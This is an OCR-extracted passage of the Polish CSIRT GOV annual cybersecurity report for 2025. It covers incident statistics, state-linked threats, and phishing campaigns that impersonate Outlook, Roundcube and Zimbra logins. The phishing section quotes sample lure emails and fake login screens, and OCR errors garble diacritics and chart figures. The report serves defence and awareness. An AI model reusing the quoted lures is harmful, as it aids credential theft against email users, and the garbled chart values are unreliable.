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Szanowni Panstwo!

Kolejny raz z przyjemnoscig udostepniamy Panstwu nasz Raport o stanie bezpieczenstwa
cyberprzestrzeni RP, ktdry jak co roku rzuca $wiatto na wyzwania i ryzyka dla cyberprzestrzeni
Rzeczypospolitej Polskiej obserwowane w minionych miesigcach 2025 roku. Niniejsze opracowanie stanowi
podsumowanie dziatalnosci Zespotu CSIRT GOV w zakresie identyfikacji zagrozen oraz reagowania na
incydenty bezpieczenstwa komputerowego, a takze - po raz pierwszy - zespotow CSIRT NASK oraz CSIRT

KNF, ktore podzielity sig swoim komentarzem w rozdziatach goscinnych.

Dynamiczna rzeczywistosc XXI wieku wigze sig z przenoszeniem coraz szerszego zakresu naszego
zycia do cyberprzestrzeni. Oznacza to zarowno osobiste dane kazdego uzytkownika, ustugi publiczne, ale
takze aspekty, ktdre w XX wieku bytyby nie do wyobrazenia dla przecietnego cztowieka. Wspotczesne
doktryny wojskowe obejmuja nie tylko klasyczne dziatania zbrojne, ale réwniez dziatania hybrydowe. Ich
hybrydowosc¢ polega na potaczeniu wielu domen oraz zacieraniu granicy pomiedzy wojng a pokojem, co
ma swoje odzwierciedlenie m.in. w sferze informacyjnej oraz cyberprzestrzeni. W Raporcie podkreslamy
zatem, ze konsekwencje trwajgcego konfliktu w Ukrainie siegajg duzo dalej, anizeli granice tego panstwa

i dotykajg rowniez Polski - jako jej sasiada, a takze cztonka NATO i Unii Europejskiej.

W minionym roku miato miejsce wydarzenie szczegolne z perspektywy proceséw demokratycznych
panstwa - wybory na urzad Prezydenta RP, ktdrych dwie tury odbyty sie 18 maja i 1 czerwca 2025 roku.
Jest to niezmiennie wyzwanie pod katem zabezpieczenia ich prawidtowego przebiegu. W ramach programu
Parasol Wyborczy, uruchomionego w lutym 2025 r. z inicjatywy Ministerstwa Cyfryzacji we wspotpracy
z Ministerstwem Spraw Wewnetrznych i Administracji, Zespot CSIRT GOV realizowat zadania natozone na
Agencje Bezpieczenstwa Wewnetrznego poprzez prowadzenie oceny bezpieczenstwa systemow i sieci
IT organdw wyborczych, szkolenia kadr kierowniczych oraz osdb technicznych, a takze monitorowanie
zagrozen w cyberprzestrzeni RP pod katem bezpieczenstwa procesu wyborczego. Przejawy wrogiej
aktywnosci dezinformacyjnej i hakerskiej zmaterializowaty sie ze strony grupy UNC1151, ktdra po raz kolejny

probowata wptynac na przebieg demokratycznych wyborow w Polsce.

Zakonczenie 2025 roku przebiegto pod znakiem pierwszego w CRP ataku o potencjale destrukcyjnym.
Zaatakowany sektor polskiej energii obronit sie przed przerwaniem dostaw energii i ciepta w ostatnich
dniach mroznego grudnia, co przedstawione zostato w raporcie z incydentu w sektorze energii z 29 grudnia
2025 roku, sporzadzonego przez CERT Polska'. Pamietajac o atakach na elektrownie w Ukrainie w 2015,

2016 i 2022 roku nalezy przewidywac, ze ta nieudana prdéba wptyniecia na bezpieczenstwo energetyczne RP

1 - https://cert.pl/posts/2026/01/raport-incydent-sektor-energii-2025/
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moze byc tylko testem naszej odpornosci, a tego typu ataki moga pojawiac sig¢ w cyberprzestrzeni RP coraz
czesciej.

Niniejsza odstona Raportu prezentuje obserwacje naszego zespotu w kolejnym roku trwania wojny
w Ukrainie, w kontynuacji obowigzywania stopnia alarmowego BRAVO-CRP, w trwajacym podwyzszonym
zagrozeniu dziataniami hybrydowymi. Ten burzliwy czas odzwierciedlony jest w statystykach incydentow
zarejestrowanych przez Zespot CSIRT GOV, gdzie odnotowany zostat wzrost liczby incydentdw o ponad jedna
czwarta w stosunku do poprzedniego roku. Tendencja ta byta obserwowana przede wszystkim w kategoriach
dotyczacych identyfikowanych podatnosci oraz kampanii socjotechnicznych. Sg to zagrozenia najistotniejsze
z punktu widzenia rozwoju sztucznej inteligencji - w kontekscie dziatan socjotechnicznych jest to przede
wszystkim wykorzystanie Al do generowania wiarygodnych ,zanet” i elementow graficznych stosowanych
nastepnie w phishingu. Sztuczna inteligencija jest coraz czesciej wykorzystywana przez cyberprzestepcow,
ktorzy z jej pomoca nie musza poswigca¢ dodatkowego czasu i srodkow w celu dopracowania kampanii pod
ofiary w konkretnych krajach. Sztuczna inteligencja ma réwniez swoje zastosowanie w dziatalnosci aktoréw
realizujgcych operacje cyberszpiegowskie, gdzie podwyzszona wiarygodnosé wiadomosci phishingowych
jest kluczowa w targetowaniu precyzyjnie dobranych celow. Al sprawdza sie rowniez jako narzedzie
do poszukiwania podatnosci, ktore nastepnie mogg by¢ wykorzystywane przez aktoréw panstwowych

i niepanstwowych.

W rozdziale dotyczacym zagrozen zidentyfikowanych w ubiegtym roku wskazujemy najwazniejsze
trendy i wektory atakdw obserwowanych w cyberprzestrzeni RP. Najistotniejszym wnioskiem ptyngcym
z analizy aktywnosci socjotechnicznej przeciwko polskim celom jest fakt, iz zagrozenia w gtownej mierze
sg ewolucjg, a nie rewolucja. Wiele technik atakow powiela sie z roku na rok, gdzie zmienna jest jedynie
ich intensywnos¢. Dodatkowo zachecamy do zapoznania sie z aktualng charakterystyka atakow typu
Distributed Denial of Service, w tym ze strony grup haktywistycznych, a takze istotnymi podatnosciami

w oprogramowaniu, o ktérych informowaliSmy w ostrzezeniach przez caty 2025 rok.

Trzeci rozdziat Raportu poswiecony zostat atakom przypisywanym konkretnym grupom
hakerskim, w tym aktorom panstwowym oraz kolektywom haktywistycznym. Aktorzy wykorzystywali
precyzyjnie adresowane kampanie spearphishingowe oraz podatnosci, w tym zero-day, do atakow na
polska administracje rzadowa oraz operatordw infrastruktury krytycznej. Polska w dalszym ciggu jest
obiektem dziatan hybrydowych ze strony Rosiji i Biatorusi, gdzie ataki cybernetyczne stanowia uzupetnienie
roznorodnych dziatan kinetycznych i operacji psychologicznych. Takze rzekomo oddolne dziatania

motywowanych ideologicznie haktywistéw prorosyjskich wpisuja sie w strategiczne interesy tego panstwa

ST \

5

\

\\

I



i budujg cybernetyczna linig frontu przeciwko panstwom NATO.

W czwartym rozdziale omdwione zostaty najwazniejsze kategorie zagrozen pochodzacych ze
strony ztoSliwego oprogramowania analizowanego przez Zespot CSIRT GOV. Ponownie dostrzec mozna tu
powtarzalno$¢ narzedzi wykorzystywanych przez adwersarzy w cyberprzestrzeni, a takze sposobdw ich

dostarczenia.

Kolejny rozdziat przedstawia podsumowanie zagrozen w sieciach objetych monitoringiem systemu
wczesnego ostrzegania ARAKIS GOV. Znalazto sie z nim podsumowanie statystyczne, a takze charakterystyka
zidentyfikowanych zagrozen na podstawie obserwacji i analizy ruchu sieciowego podmiotow bedacych

czescig przedmiotowego systemu.

Szosty rozdziat tradycyjnie poswiecony zostat dziatalnosci Zespotu CSIRT GOV w obszarze
prowadzenia ocen bezpieczenstwa systemow teleinformatycznych, realizowanych na podstawie art.
32a ustawy o Agencji Bezpieczenstwa Wewnetrznego oraz Agencji Wywiadu. W czesci tej przedstawiono
najistotniejsze nieprawidtowosci zidentyfikowane podczas analiz przeprowadzonych w 2025 roku, ktorych
wystepowanie mogto prowadzi¢ do powaznych naruszen bezpieczenstwa. Ponownie, na szczegdlng
uwage zastuguje utrzymujacy sie problem wykorzystywania oprogramowania, dla ktdrego zakonczono
wsparcie producenta, a takze przypadki niewdrazania dostepnych aktualizacji bezpieczenstwa. W obliczu
stale rosnacej dynamiki zagrozen cybernetycznych zagadnienie to nabiera szczegdlnego znaczenia.
Rozwoj narzedzi automatyzujacych analize podatnosci, w tym rozwigzan wykorzystujgcych mechanizmy
sztucznej inteligencji, przyczynia sie do skracania czasu niezbednego do identyfikacji potencjalnych celow
i opracowywania metod wykorzystania ujawnionych luk bezpieczenstwa. Drugim aspektem szczegdlnie
waznym do podkres$lenia sa wyniki testow socjotechnicznych, ujawniajace stabos¢ kluczowego elementu

systemu informacyjnego - cztowieka.

Pozostate aktywnosci Zespotu CSIRT GOV, obejmujace ¢wiczenia krajowe i zagraniczne, prelekcje
przedstawicieli Zespotu oraz inne zadania zrealizowane w 2025 roku przedstawione zostaty w rozdziale

siodmym Raportu.

W nastepnym rozdziale zachecamy Panstwa do zapoznania sig z opisem zagrozenia, jakim sg ataki
na szyfrowane komunikatory, z ktorych korzysta niemal kazdy uzytkownik Internetu w swoim telefonie.
Ten nieoczywisty wektor ataku oparty jest na fakcie, iz ze wzgledu na wysoki poziom zabezpieczen
korespondencji prowadzonej poprzez te aplikacje, przetamanie ich jest istotnie trudniejsze niz zastosowanie

prostej socjotechniki i naktonienie uzytkownika do podania danych uwierzytelniajgcych. W tym kontekscie
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istotne jest podkreslenie, ze wykorzystywanie komunikatorow z szyfrowaniem typu end-to-end jest
preferowanym sposobem komunikacji internetowej ze wzgledu na zachowanie poufnosci czatéw poza
urzadzeniami z ustalonym kluczem szyfrowania. Opisywana w tym rozdziale metoda ataku nie polega
na wykorzystaniu podatnosci samego komunikatora, a wigze sie¢ z dwoma aspektami bezpieczenstwa
informacji organizacji: wtasciwym ich przetwarzaniem w kontrolowanych srodowiskach oraz Swiadomoscia
uzytkownikoéw. Pierwsza kwestia to zatem korespondowanie i wymienianie informacji stuzbowych
wytgcznie za posrednictwem monitorowanych przez organizacje kanatow, takich jak poczta elektroniczna
czy korporacyjne komunikatory, wykluczajac urzadzenia prywatne i inne alternatywne srodki komunikacji.
Ponadto drugg kwestig jest umiejetnos$¢ rozpoznania zagrozenia przez samych uzytkownikow, podstawa

jest tu zatem edukacja i state budowanie Swiadomosci o zagrozeniach.

Na koniec proponujemy Panstwu zapoznanie sie z perspektywa zespotu reagowania na incydenty
bezpieczenstwa komputerowego dla sektora bankowego CSIRT KNF, a takze Zespotu CSIRT NASK,
odpowiedzialnego za reagowanie na incydenty w sferze cywilnej. Jest to cenne uzupetnienie Raportu
o obserwacje w obszarach, w ktorych CSIRT GOV posiada mniejsza widocznos¢, ktdre jednoczesnie

potwierdza naszg ocene zagrozen dla CRP.

Podsumowujac wnioski z Raportu, wskaza¢ nalezy dominujgce zjawiska zaobserwowane

w cyberprzestrzeni RP:

1. Utrzymujaca sig wysoka aktywnos¢ grup powigzanych z Rosja i Biatorusia

Polska pozostawata jednym z gtdwnych celow dziatan cybernetycznych ze wzgledu na swoje
zaangazowanie we wsparcie Ukrainy, role logistycznego hubu dla pomocy wojskowej oraz
znaczenie geopolityczne w regionie. Obserwowano zaréwno operacje szpiegowskie ukierunkowane
na administracje panstwowg i podmioty strategiczne, jak rowniez dziatania o charakterze wptywu

informacyjnego i - co kluczowe - dziatania potencjalnie destrukcyjne.

2. Rozwaj zdolnosci tzw. haktywistow prorosyjskich

W 2025 roku zaocbserwowane zostaty, poza atakami DDoS i wtamaniami do publicznie dostepnych
i stabo zabezpieczonych przemystowych paneli sterowania, proby uzyskiwania dostepu do

systemdw monitoringu wizyjnego poprzez wyszukiwanie udostepnianych w sieci Internet urzadzen

i testowaniu ich zabezpieczen. State pozostaje wykorzystanie tych atakow w gtéwnej mierze do
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celow propagandowych, gdzie skutki wtaman pozostaja istotnie mniejsze niz sukcesy ogtaszane na

\\ \\\\%\\\

kanatach realizujacych je grup.

3. Nasilenie kampanii phishingowych i socjotechnicznych

Phishing pozostawat kluczowym wektorem ataku, jednak prowadzony byt juz nie tylko tradycyjnie
z wykorzystaniem wiadomosci email, ale takze poprzez komunikatory internetowe. Atakujacy
dostosowywali tres¢ kampanii do biezacych wydarzen spotecznych, gospodarczych i politycznych.

4. Wykorzystanie sztucznej inteligencji przez atakujacych

W 2025 roku wyraznie wzrosto wykorzystanie narzedzi opartych o Al do przygotowywania tresci

phishingowych, automatyzacji rozpoznania oraz tworzenia materiatdw dezinformacyjnych.

Niezmiennie pragniemy podzigkowac catemu obszarowi krajowego systemu cyberbezpieczenstwa
za wspotprace w budowaniu odpornosci CRP - w szczegdlnosci administratorom, zespotom IT oraz
Ministerstwu Cyfryzaciji, a takze zespotom CSIRT NASK, CSIRT MON oraz CSIRT sektorowym.

Zyczymy mitej lektury,
Zespot CSIRT GOV

W&






Statystyki roczne

W roku 2025 Zespot Reagowania na Incydenty Bezpieczenstwa Komputerowego CSIRT GOV
zarejestrowat tacznie 23 136 zgtoszen o potencjalnym wystapieniu incydentu teleinformatycznego w swoim
obszarze kompetencyjnym, sposrad ktrych 5033 zakwalifikowano jako faktyczne incydenty bezpieczenstwa
teleinformatycznego.

19 888
23136

17 439

H zgtoszenia Wincydenty

4676
39
5033

2023 2024 2025
Wykres 1. Liczba zarejestrowanych zgtoszen oraz incydentéw w latach 2023-2025.

Wskazana statystyka zawiera zgtoszenia oraz incydenty obstugiwane przez Zespot CSIRT GOV,
nie uwzgledniajac zgtoszen pochodzacych z systemu ARAKIS GOV. Zaobserwowac¢ mozna wzrost liczby
zarejestrowanych incydentow wzgledem infrastruktury teleinformatycznej podmiotow w 2025 roku
w porownaniu do roku 2024. W ocenie Zespotu CSIRT GOV niniejsza zmiana uksztattowata sie miedzy innymi
poprzez czynniki w postaci:

-udoskonalania procedur zgtaszania i klasyfikowania zdarzen o charakterze incydentdw
bezpieczenstwa teleinformatycznegpo;

- proaktywnego wykorzystania narzedzi stuzacych do identyfikacji zagrozen;

- rosnacej Swiadomosci podmiotéw znajdujacych sie we wtasciwosci Zespotu CSIRT GOV w zakresie
identyfikacji i zgtaszania zagrozen;

- intensyfikacji aktywnosci grup haktywistycznych. e
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Analiza poszczegolnych kwartatow w oparciu o incydenty zgtoszone przez
podmioty krajowego systemu cyberbezpieczenstwa

W ramach poszczegdlnych kwartatéw 2025 roku liczba zarejestrowanych faktycznych incydentdw,

a takze zagrozenie zwigzane z atakami hakerskimi na infrastrukture teleinformatyczng podmiotow

administracji panstwowej i operatorow infrastruktury krytycznej utrzymywaty sig na zblizonym poziomie.
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Wykres 2. Liczba zarejestrowanych zgtoszen oraz incydentdw w poszczegélnych kwartatach 2025 roku.
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Statystyka incydentow pod wzgledem kategorii incydentow zgtoszonych przez
podmioty krajowego systemu cyberbezpieczenstwa

Zaprezentowany ponizej wykres przedstawia podziat zarejestrowanych w 2025 roku incydentow
bezpieczenstwa teleinformatycznego pod katem kategorii zagrozenia wraz z poréwnaniem ilosciowym

wzgledem roku poprzedniego.

815 m2024
636 m 2025
47
y 21 2 m 2 .
56 72 i 15
— =7

Wykres 3. Liczba incydentdw zgtoszonych przez podmioty krajowego systemu cyberbezpieczenstwa w latach 2024
i 2025 z podziatem na kategorie.
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Najwigkszy wzrost liczby incydentdw zarejestrowanych przez Zespot CSIRT GOV w 2025 r.
odnotowano w ramach kategorii PODATNOSC, ktéra w gtéwnej mierze zwigzana byta ze zidentyfikowanymi
lukami bezpieczenstwa infrastruktury teleinformatycznej podmiotow. Zaobserwowany wzrost wynikat
gtownie ze zwigkszenia skutecznosci detekcji zagrozen zwigzanych z podatnosciami w ustugach i zasobach
opublikowanych w sieci Internet. Kazdorazowo po uzyskaniu informacji o luce mogacej mie¢ wptyw na
bezpieczenstwo teleinformatyczne podmiotu, informacja ta byta przekazywana do organizacji celem
mitygacji zaohserwowanego zagrozenia.

Wzrost liczby incydentow zaobserwowano rowniez w ramach kategorii SOCJOTECHNIKA. Wérdd
\2

odnotowanych kampanii phishingowych i spearphishingowych wyrdzni¢ mozna zaréwno zagrozenia \
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identyfikowane stale na przestrzeni lat, ukierunkowane na wytudzenie poswiadczen do ustug
elektronicznych poprzez m.in. fatszywe panele logowania poczty elektronicznej, jak rowniez wzrost nowych
zagrozen, zwigzanych z narzedziami opartymi na sztucznej inteligencji. Narzedzia te wykorzystywane
byty zaréwno do generowania tresci wiadomosci phishingowych, tak aby brzmiaty one wiarygodnie dla
odbiorcy, ttumaczenia ich z jezykéw obcych celem nadania kampanii migdzynarodowego charakteru, czy
jako element funkcjonowania ztosliwego oprogramowania, wykorzystany np. do generowania komend
wiersza polecen. Warto réwniez wskaza¢ wzrost wykorzystania w atakach kodow QR jako alternatywy dla
standardowych linkow. Dziatania takie maja na celu przeniesienie ataku na prywatny telefon potencjalnej
ofiary, ktory czesto jest stabiej chroniony niz stuzbowa siec teleinformatyczna, a takze nie dotyczy go nadzor
administratora czy automatyczne systemy detekcji zagrozen, funkcjonujagce m.in. w ramach stuzbowe;

poczty elektroniczne;.

W kategorii PUBLIKACJA zarejestrowano niemal niezmieniong liczbe incydentow w stosunku
do poprzedniego roku. W ramach incydentéw klasyfikowanych w tej kategorii wyrdzni¢ mozna zaréwno
publikacje wrazliwych danych, takich jak poswiadczenia do ustug elektronicznych, majace miejsce w wyniku
kompromitacji duzych serwisow internetowych, jak réwniez pojedyncze dziatania cyberprzestepcze

zwigzane z wykorzystaniem ztosliwego oprogramowania typu stealer czy fatszywych paneli logowania.

Zespot CSIRT GOV zarejestrowat rowniez zwigkszong liczbe incydentow zwigzanych z kategorig
NIEDOSTEPNOSC. Wsrdd nich identyfikowano m.in. zdarzenia, ktore zaklasyfikowano jako ataki DoS/
DDoS, szerzej opisane w stosownym rozdziale raportu rocznego. Wptyw na te kategorie zagrozenia
miata aktywnosc¢ grup haktywistycznych, ktore swoje dziatania ukierunkowujg na panstwa NATO i Unii
Europejskiej, w szczegolnosci te aktywnie zaangazowane w udzielanie militarnej i humanitarnej pomocy
dla Ukrainy w zwigzku z trwajgcym konfliktem zbrojnym. Ataki DDoS, za ktorymi stojg tego typu grupy, maja
na celu osiggniecie efektu propagandowego poprzez doprowadzenie do niedostepnosci ustug zarzadzanych
przez podmioty, w szczegolnosci w okresach wyjatkowo wrazliwych, takich jak m.in. rozliczenia podatkowe
PIT.

W ramach kategorii SKANOWANIE zliczane byty incydenty zwigzane z rekonesansem infrastruktury
teleinformatycznej pod katem identyfikacji podatnych systemow i ustug. Kategoria ta obejmuje rowniez
zdarzenia wskazujace na mozliwo$¢ przygotowania ofensywnych dziatan, majacych na celu przetamanie

zabezpieczen lub naruszenie dostgpnosci ustug.

Do incydentéw w kategorii ATAK wliczone zostaty proby przetamania zabezpieczen systemow

teleinformatycznych poprzez wykorzystanie zidentyfikowanych luk bezpieczenstwa, kompromitacje kont

ST \

5

\

=\

L)

—
—



—

i systemow oraz inne dziatania zmierzajace do uzyskania nieuprawnionego dostepu do infrastruktury.

\\ \\\\'f\\\

Kategoria KASKADA odnosi sie do zgtoszen i incydentow zwigzanych ze zdarzeniami
o charakterze terrorystycznym, na podstawie art. 27 ustawy o KSC? Sa to dziatania podejmowane przez

Zespot CSIRT GOV na rzecz zapobiezenia mozliwym zdarzeniom o charakterze terrorystycznym.

W ramach kategorii TRESCI obstugiwane byty w szczegélnosci incydenty dotyczace naruszenia
wizerunku podmiotdw panstwowych, a takze incydenty powigzane z dystrybucjg materiatow o charakterze
dezinformacyjnym. Wyrdzni¢ tu mozna przede wszystkim incydenty zwigzane z masowym wykorzystaniem
wizerunku osob sprawujacych istotne funkcje w panstwie celem wytudzenia srodkow finansowych od
obywateli poprzez specjalnie spreparowane materiaty wygenerowane m.in. przy pomocy narzedzi opartych

na sztucznej inteligenciji.

W ramach kategorii WIRUS Zespot CSIRT GOV obstugiwat zgtoszenia dotyczace ztosliwego

oprogramowania zidentyfikowanego na stacjach roboczych, serwerach oraz urzadzeniach sieciowych.

Ponadto, w 2025 roku Zespot CSIRT GOV zarejestrowat 13 zgtoszen incydentow powaznych
w rozumieniu ustawy o krajowym systemie cyberbezpieczenstwa. Wsrdd zaklasyfikowanych zgodnie
ze wskazang kategorig incydentow nie zidentyfikowano zdarzen majacych charakter intencjonalny lub
posiadajacych znamiona cyberataku.

5
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Statystyka incydentow pod wzgledem sektorow, w oparciu o incydenty
zgtoszone przez podmioty krajowego systemu cyberbezpieczenstwa

Biorac pod uwage podziat incydentow na sektory, nalezy wskazac, ze w 2025 roku najwigksza liczba
incydentow, podobnie jak w roku 2024, dotyczyta sektora Instytucja. Kolejnymi sektorami pod wzgledem
liczby zarejestrowanych incydentow byty odpowiednio sektory:. Ministerstwo, Operator Infrastruktury

Krytycznej, Organ Panstwowy, Urzad, Pozostate oraz Stuzba.
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Instytuc
Ministerstwo
Urzad
Pozostate
Stuzba

Krytycznej
Organ Panstwowy

Operator Infrastruktury

Wykres 4. Liczba incydentow zgtoszonych przez podmioty krajowego systemu cyberbezpieczenstwa w 2025 roku
z podziatem na sektory.

W ramach kategorii POZOSTALE zarejestrowane zostaty incydenty obstuzone przez Zespot CSIRT
GOV, ktore wystapity w podmiotach spoza wtasciwosci, jednakze stanowity zagrozenie dla obszaru
pozostajgcego w zakresie kompetencyjnym Zespotu CSIRT GOV. Tego typu zdarzenia obejmujg rowniez
zgtoszenia ztosliwych domen oraz ustug do rejestratordw czy hostingodawcow celem podjecia dziatan

w oparciu o stosowne regulaminy swiadczenia ustug.
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Ostrzezenia dystrybuowane przez CSIRT GOV w 2025 roku

Zadania wynikajace z ustawy o krajowym systemie cyberbezpieczenstwa w zakresie wydawania
komunikatdw o zidentyfikowanych zagrozeniach realizowane sg przez Zespot CSIRT GOV przede wszystkim
w formie ostrzezen. Ponizszy wykres przedstawia liczbe ostrzezen wydanych przez Zespét CSIRT GOV

w roku 2025 z podziatem na kategorie.
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Wykres 5. Liczba ostrzezen wydanych przez CSIRT GOV w 2025 roku z podziatem na kategorie ostrzezen.

W 2025 roku Zespot CSIRT GOV przestat tgcznie 772 ostrzezenia do podmiotow znajdujacych sie
w jego wtasciwosci, informujace o zidentyfikowanych zagrozeniach bezpieczenstwa teleinformatycznego

wystepujacych badz mogacych wystapi¢ wzgledem podmiotow w CRP.

Najwieksza liczba dystrybuowanych w 2025 roku ostrzezen dotyczyta wskaznikéw kompromitacji
(IoC) dla zidentyfikowanych zagrozen, w gtdwnej mierze opracowanych na podstawie raportéw z systemu
ARAKIS GOV.

Kolejng kategorig ostrzezen byty informacje zwigzane ze zidentyfikowanym przez Zespot CSIRT GOV
zagrozeniem atakami typu DoS lub DDoS ukierunkowanymi na infrastrukture teleinformatyczng podmiotow,

ktore mogty stanowi¢ przyczyne wystapienia niedostepnosci utrzymywanych przez podmioty ustug.

Zespot CSIRT GOV informowat takze o zagrozeniach zwigzanych z podatnosciami identyfikowanymi 4
w oprogramowaniu, jak réwniez wykrytych btedach konfiguracyjnych. \\\é
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W ramach prowadzonego rozpoznania zagrozen w CRP, Zespdt CSIRT GOV dystrybuowat réwniez
informacje o zidentyfikowanych kampaniach socjotechnicznych, ukierunkowanych na organy administracji
panstwowej oraz osoby sprawujace istotne funkcje publiczne w panstwie. W tej kategorii wyrdzni¢
mozna przede wszystkim informacje o kampaniach socjotechnicznych, ktdrych celem byto wytudzenie
od ofiary wrazliwych danych czy Srodkéw finansowych, ale réwniez ostrzezenia dotyczace kampanii

socjotechnicznych, w ramach ktdorych dystrybuowane byto szkodliwe oprogramowanie.
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W 2025 roku Zespot CSIRT GOV obserwowat wzrost liczby réznorodnych kampanii socjotechnicznych,

W

ktore ukierunkowane byty na podmioty pozostajgce w jego wtasciwosci, a takze zwigkszong intensywnosé

dziatan, w ramach ktdorych adwersarze podszywali sie pod te podmioty.

Rozdziat zostat podzielony na sekcje opisujace najbardziej aktywne kampanie socjotechniczne
w 2025 roku. Wybranym kampaniom atrybuowanym do grup APT poswiecono oddzielng czes$¢ raportu,
natomiast w ramach niniejszego rozdziatu przedstawiono opis ogolny zarejestrowanych kampanii

w podziale na rodzaje zagrozen.

Utrzymujace sie zagrozenia

W 2025 roku, podobnie jak w latach ubiegtych, Zespdt CSIRT GOV identyfikowat niezmiennie popularne
wykorzystanie przez adwersarzy fatszywych paneli logowania celem wytudzenia od uzytkownikéw danych

uwierzytelniajgcych do ustug elektronicznych, w szczegdlnosci poczty.

Atakujacy poprzez dystrybucje wiadomosci email (podstawowy wektor dystrybucji tego rodzaju
zagrozenia obserwowany przez Zespot CSIRT GOV) o roznej tematyce - od rzekomo wygasajacego
hasta po autoryzacje celem wyswietlenia dokumentu na stronie WWW - rozpowszechniali hipertacza
do zasobdw w sieci Internet, gdzie umieszczone byty spreparowane panele logowania wykorzystujace
znane uzytkownikom logotypy popularnych firm i instytucji. Dodatkowg technikg stosowang regularnie
przez adwersarzy jest tzw. ,typosquatting” polegajacy na uzyciu domen internetowych o nazwach tudzaco
podobnych do nazw organizacji lub legalnych serwisow internetowych, co ma na celu zwigkszenie

wiarygodnosci dziatan phishingowych i utatwienie podszycia sige pod zaufany podmiot.

Pozyskane w ten sposob dane uwierzytelniajace uzytkownikdw przesytane byty do adwersarza
poprzez serwery posredniczace, poczte elektroniczng czy tez boty w komunikatorach typu Telegram.
Wykradzione dane logowania wykorzystywane byty nastepnie przez atakujgcych do uzyskania

nieuprawnionego dostepu do poczty elektronicznej lub innych zasohdw.

W zwiagzku z wykorzystywaniem przez adwersarzy spreparowanych, fatszywych paneli logowania
wykorzystujgcych m.in. znane, wiarygodne logo, obserwowano rowniez liczne préby maskowania
infrastruktury wykorzystywanej przez atakujgcych za posrednictwem komercyjnych ustug, np. Cloudflare
czy Google. Atakujacy staraja sie zazwyczaj w taki sposob przedtuzyc ,zywotnos¢” swojej infrastruktury,

a tym samym przeprowadzonego ataku.
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Pierwszym ze stale obserwowanych zagrozen w cyberprzestrzeni RP sg liczne kampanie
wytudzajace dane uwierzytelniania z wykorzystaniem elementéw podszycia pod ustugi firmy Microsoft,
w tym przede wszystkim Microsoft Outlook oraz Microsoft Exchange. Wielokrotnie atakujacy podszywat
sie pod administratora IT danej organizacji tudziez dziat IT czy help desk. Powyzsze jest czestym
motywem kampanii socjotechnicznych ze wzgledu na powszechne wykorzystywanie rozwigzan Microsoft
w korporacyjnych Srodowiskach IT. Typowym elementem tego rodzaju kampanii jest wywieranie presji
czasowej na odbiorcy wiadomosci email poprzez wskazanie konieczno$ci wykonania okreslonej czynnosci
w krotkim czasie, w przeciwnym wypadku uzytkownikowi moze grozi¢ rzekoma utrata dostepu do konta

poczty elektronicznej lub innych ustug.

Aby nie wzbudza¢ podejrzen uzytkownika, gdy ten sprobuje przejs¢ proces logowania na
podstawionej stronie, uzytkownikowi czgsto wyswietla sie komunikat, iz nie moze sig zalogowac, poniewaz
wystapit btad w komunikacji z serwerem, badz informacja, iz hasto jest nieprawidtowe. Atakujacy dbaja
w ten sposob o niewzbudzanie podejrzen uzytkownika i jego przeswiadczenie, iz strona, na ktdrej probowat

sig zalogowac jest autentyczna, natomiast chwilowo niedostepna z przyczyn technicznych.

| @ Reply Forward Archive ink Delete || More v

]
I
HelpDesk, System Informatyczny

Szanowny uzytkowniku

Hasto do Twojego konta e-mail Outlook wygasa 1 stycznia 2025 r. Uprzejmie prosimy o skorzystanie z
opcji AKTUALIZU] MOJE HASEO DO QUTLOOK, aby kontynuowac korzystanie z tego samego hasta.

Z powazaniem,
Ustugi Help Desk

Rysunek 1. Wiadomos¢ email informujaca odbiorce o koniecznosci aktualizaciji hasta do ustugi Microsoft Outlook.
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MICROSOFT OUTLOOK WEB APP

Do /Na uyth g *

E-mail *
Hasto *

Potwierdz hasto *

Rysunek 2. Fatszywy panel logowania wykorzystujacy podszycie pod ustuge Microsoft Outlook.

Connected to Microsoft Exchange

Rysunek 3. Fatszywy panel logowania.
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@signin

Rysunek 4. Informacja o rzekomym btedzie w potaczeniu na fatszywym panelu.

= Microsoft

We can't sigh you in

Rysunek 5. Informacja o rzekomo niepoprawnym koncie lub wpisaniu niepoprawnego hasta zbyt wiele razy.
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Analogiczne ataki prowadzone byty z wykorzystaniem podszycia pod otwarto-zrodtowe
oprogramowanie poczty elektronicznej, np. Roundcube Webmail czy Zimbra Web Client. Ich powszechne
wykorzystanie czyni z nich potencjalnie skuteczny motyw kampanii socjotechnicznych. Wsrdd
identyfikowanych kampanii najczesciej zaohserwowano motywy zawiadomienia o wygasnieciu sesji badz
hasta do konta uzytkownika, koniecznosci weryfikacji aktywnosci konta email, alertu o oczekujacych
wiadomosciach zatrzymanych na serwerze pocztowym oraz powiadomienia o przepetnionej skrzynce

poczty elektronicznej.

.A.dmin‘istlracja knrjt -
admin@airtimekatwijk.nl

More v

Reply to gerente.fogan@mail.com &
/& Wymagane dziatanie: odnow swoje hasto przed 9/17/2025

Wymagane dzialanie

Powiado ie 0 wygasnieciu hasta
To g enie y g a

To przypomnienie, ze hasto do Twojego konta_

wygasnie dnia 9/17/2025.

I Aby zachowac obecne haslo, potwierdz przed data wygasniecia. W przeciwnym

razie zostaniesz poproszony(-a) o utworzenie nowego.

Zachowaj hasto

Jesli nie spodziewales(-as) sig tej wiadomosci, mozesz g bezpiecznie zignorowac

Rysunek 6. Wiadomo$¢ email wystana z konta administratora informujaca o rzekomo wygasajacym hasle do poczty
elektroniczne;.
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B ISURPCLL @ More v

Verify your email address

Verify your email address

Verify your account to continue using your "_ Team Account”. We just need to make sure your email address is
still active.

WARNING : Failure to verify your email address; Your account will be permanently deactivated and all contents of
your mailbox will be deleted, including all email messages, attachments, settings and folders.

Thanks,

The T support Team*

Rysunek 7. Wiadomo$¢ email podszywajaca sig pod dziat wsparcia IT, informujaca o koniecznosci weryfikacji adresu
email.

P - Priority Message ) e o
87424@bartoncreekcrimewatch.org

-, Email Notification

New Webmail 2.30 -

Email:
Domain:
Title: Important emails are held suspended on the server.

A new webmail version 2.30 is now in effect for-Emai\
Server.

You have 13 new incoming email(s) marked as important pending
on the server.

Emails stuck on the server can be retrieved by logging in with the

new version.
Begin Webmail 2.30

Note: After successful login, your pending emails will be delivered
in 30 minutes. This is required only once.

-Wehmail 2025 © | All rights reserved.

Rysunek 8. Wiadomos¢ email od rzekomego systemu poczty informujaca odbiorce o koniecznosci zalogowania sie do
nowej wersji narzedzia celem wyswietlenia oczekujacych wiadomosci.
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Welcome to Webmail

Username:

Password:

CONTINUE

Rysunek 9. Spreparowany panel logowania do ustugi Roundcube Webmail.

zimbra

Log In

Username

Password

[ "] Stay signed in

Web App Version

Default

Rysunek 10. Fatszywy panel logowania do ustugi Zimbra Web Client.
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e

Mail .
¥ Webmail

Email:
-
Password:

y @

